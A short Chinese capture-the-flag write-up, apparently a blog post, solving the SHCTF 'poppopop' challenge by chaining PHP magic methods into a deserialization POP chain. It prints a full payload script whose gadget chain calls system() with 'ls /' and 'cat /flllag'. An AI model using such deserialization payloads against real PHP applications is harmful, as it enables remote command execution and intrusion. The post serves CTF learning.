shctf [week1]poppopop

c1432 / 2024-10-10 / 原文

最近刚好在学pop链和反序列化,那就写一篇shctf做题的随笔吧
进来先审计代码;

1.发现反序列化首先会调用__destruct()魔术方法,将$Web赋为true,并echo $n,显然在这里我们得再有一个魔术方法,又因为这里调用的n被当字符串输出,一眼看到__toString(),考虑把$n赋值为new F();
2.F类中$o被当作一个对象调用,由于flag()函数在C类中,考虑把$o赋值为new C();
3.然而此时只剩一个__invoke()没有被调用,而它的调用需要类SHCTF被当成函数调用,刚好C的flag()函数将$p作为函数进行调用,那只要把$p赋值为new SHCTF(),就能解决问题;
4.此时Web为true,会调用函数$isyou并传入参数$flag,那我们找找看,构造payload:

 <?php
class SH {

    public static $Web = false;
    public static $SHCTF = false;
}
class C {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}
class T{

    public $n;
    public function __construct()
    {

        SH::$Web = true;
        echo $this->n;
    }
}
class F {
    public $o;
    public function __toString()
    {
        SH::$SHCTF = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}
class SHCTF {
    public $isyou;
    public $flag;
    public function __invoke()
    {
        if (SH::$Web) {

            ($this->isyou)($this->flag);
            echo "小丑竟是我自己呜呜呜~";
        } else {
            echo "小丑别看了!";
        }
    }
}
$a=new T();
$b=new F();
$c=new C();
$d=new SHCTF();
$a->n=$b;
$d->isyou='system';
$d->flag='ls /';
$b->o=$c;
$c->p=$d;
echo base64_encode(serialize($a));
?>


发现目录flllag;修改$flag的值为'cat /flllag'
即可得到flag: